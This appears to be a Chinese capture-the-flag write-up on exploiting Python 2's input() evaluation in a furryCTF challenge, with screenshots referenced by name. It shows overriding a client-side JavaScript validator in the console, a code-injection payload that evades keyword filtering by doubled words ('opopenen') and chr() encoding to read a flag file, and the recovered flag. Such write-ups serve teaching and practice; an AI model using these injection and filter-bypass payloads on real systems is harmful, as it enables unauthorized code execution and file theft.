image-20260120170054530

从题目提示可以知道这的知识点是python2的input函数,在python2中input函数会把用户输入的字符看作命令执行

1
2
3
raw_input():将用户输入当作字符串处理(安全的)。

input():等价于 eval(raw_input())

查看源码可以看到过滤了很多关键字,检测函数为validateInput,我们可以重写这个函数,一直返回真

image-20260120170837337

控制台输入,之后就没用过滤了

1
2
3
validateInput=function(input) {
return { valid: true, message: '' };
}

这必须要是字符,所以用str转一下,可以看到输入的字符串被回复了

image-20260120171227567

甚至可以执行语句

image-20260120171312512

用推导式想把flag文件内容读出时,发现有过滤

image-20260120172019512

提示可以看到后台只是替换,可以双写绕过

image-20260120171947153

还是不行,flag用chr绕过一下

1
str([x for x in opopenen(chr(102)+chr(108)+chr(97)+chr(103)).rreadead()])

image-20260120172152026

将列表一个个输出来,得到flag

image-20260120172235882

1
2
3
4
5
str=['f', 'u', 'r', 'r', 'y', 'C', 'T', 'F', '{', '3', '6', '0', 'c', 'b', '7', 'a', '8', 'd', '0', '3', 'f', '_', 'D', '0', '_', 'N', 'o', 't', '_', 'U', '5', 'e', '_', 'I', 'n', 'p', 'u', '7', '_', 'I', 'n', '_', 'P', 'y', 't', 'h', '0', 'n', '2', '}']
for i in str:
print(i,end='')

#furryCTF{360cb7a8d03f_D0_Not_U5e_Inpu7_In_Pyth0n2}